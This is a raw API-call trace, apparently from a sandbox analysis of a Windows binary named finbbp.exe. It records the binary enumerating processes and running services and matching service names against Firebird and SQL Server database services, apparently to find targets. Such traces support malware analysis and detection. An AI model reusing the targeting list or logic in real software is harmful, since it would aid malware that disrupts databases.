[0239.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0239.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0239.359] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0239.359] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0239.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0239.359] lstrlenW (lpString="PlugPlay") returned 8 [0239.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0239.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0239.359] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0239.359] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0239.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0239.359] lstrlenW (lpString="Power") returned 5 [0239.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0239.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0239.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0239.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0239.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0239.360] lstrlenW (lpString="ProfSvc") returned 7 [0239.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0239.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0239.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0239.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0239.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0239.360] lstrlenW (lpString="RpcEptMapper") returned 12 [0239.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0239.360] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0239.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0239.360] lstrlenW (lpString="RpcSs") returned 5 [0239.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0239.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0239.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0239.360] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0239.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0239.360] lstrlenW (lpString="SamSs") returned 5 [0239.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0239.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0239.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0239.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0239.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0239.360] lstrlenW (lpString="Schedule") returned 8 [0239.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0239.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0239.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0239.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0239.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0239.361] lstrlenW (lpString="SecurityHealthService") returned 21 [0239.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0239.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0239.361] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0239.361] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0239.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0239.361] lstrlenW (lpString="SENS") returned 4 [0239.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0239.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0239.361] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0239.361] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0239.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0239.361] lstrlenW (lpString="ShellHWDetection") returned 16 [0239.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.361] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0239.361] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0239.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0239.361] lstrlenW (lpString="Spooler") returned 7 [0239.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0239.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0239.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0239.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0239.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0239.362] lstrlenW (lpString="StateRepository") returned 15 [0239.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0239.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0239.362] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0239.362] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0239.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0239.362] lstrlenW (lpString="SysMain") returned 7 [0239.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0239.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0239.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0239.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0239.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0239.362] lstrlenW (lpString="SystemEventsBroker") returned 18 [0239.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0239.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0239.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0239.362] lstrlenW (lpString="Themes") returned 6 [0239.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0239.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0239.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0239.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0239.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0239.363] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0239.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.363] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0239.363] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0239.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0239.363] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0239.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0239.363] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0239.363] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0239.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4117748 | out: hHeap=0x670000) returned 1 [0239.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ec [0239.977] Process32FirstW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.977] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.978] lstrlenW (lpString="System") returned 6 [0239.978] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.979] lstrlenW (lpString="smss.exe") returned 8 [0239.979] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.981] lstrlenW (lpString="csrss.exe") returned 9 [0239.981] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.982] lstrlenW (lpString="wininit.exe") returned 11 [0239.982] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.982] lstrlenW (lpString="csrss.exe") returned 9 [0239.982] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.984] lstrlenW (lpString="winlogon.exe") returned 12 [0239.984] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.985] lstrlenW (lpString="services.exe") returned 12 [0239.985] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.985] lstrlenW (lpString="lsass.exe") returned 9 [0239.985] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.987] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.988] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0239.988] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0239.988] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.989] lstrlenW (lpString="svchost.exe") returned 11 [0239.989] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.027] lstrlenW (lpString="svchost.exe") returned 11 [0240.027] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.028] lstrlenW (lpString="dwm.exe") returned 7 [0240.028] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.028] lstrlenW (lpString="svchost.exe") returned 11 [0240.029] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.029] lstrlenW (lpString="svchost.exe") returned 11 [0240.029] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.030] lstrlenW (lpString="svchost.exe") returned 11 [0240.030] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.030] lstrlenW (lpString="svchost.exe") returned 11 [0240.030] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.031] lstrlenW (lpString="svchost.exe") returned 11 [0240.031] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.031] lstrlenW (lpString="svchost.exe") returned 11 [0240.031] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.032] lstrlenW (lpString="svchost.exe") returned 11 [0240.032] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.032] lstrlenW (lpString="svchost.exe") returned 11 [0240.032] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.033] lstrlenW (lpString="svchost.exe") returned 11 [0240.033] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.034] lstrlenW (lpString="svchost.exe") returned 11 [0240.034] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.034] lstrlenW (lpString="spoolsv.exe") returned 11 [0240.034] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.035] lstrlenW (lpString="svchost.exe") returned 11 [0240.035] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.035] lstrlenW (lpString="audiodg.exe") returned 11 [0240.035] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.036] lstrlenW (lpString="sihost.exe") returned 10 [0240.036] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.036] lstrlenW (lpString="svchost.exe") returned 11 [0240.036] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.037] lstrlenW (lpString="taskhostw.exe") returned 13 [0240.037] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0240.037] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0240.037] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0240.038] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0240.038] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0240.039] lstrlenW (lpString="Memory Compression") returned 18 [0240.039] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.039] lstrlenW (lpString="explorer.exe") returned 12 [0240.039] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.040] lstrlenW (lpString="SearchUI.exe") returned 12 [0240.040] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.040] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0240.040] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.041] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0240.041] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.041] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0240.041] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0240.042] lstrlenW (lpString="finbbp.exe") returned 10 [0240.042] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.352] lstrlenW (lpString="cmd.exe") returned 7 [0240.352] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.352] lstrlenW (lpString="conhost.exe") returned 11 [0240.352] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0240.353] lstrlenW (lpString="mode.com") returned 8 [0240.353] Process32NextW (in: hSnapshot=0x4ec, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0240.353] CloseHandle (hObject=0x4ec) returned 1 [0240.354] Sleep (dwMilliseconds=0x1f4) [0241.314] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0241.315] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0241.315] GetLastError () returned 0xea [0241.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41ce2f0 [0241.315] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41ce2f0, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41ce2f0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0241.316] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0241.316] lstrlenW (lpString="AppXSvc") returned 7 [0241.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0241.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0241.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0241.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0241.317] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 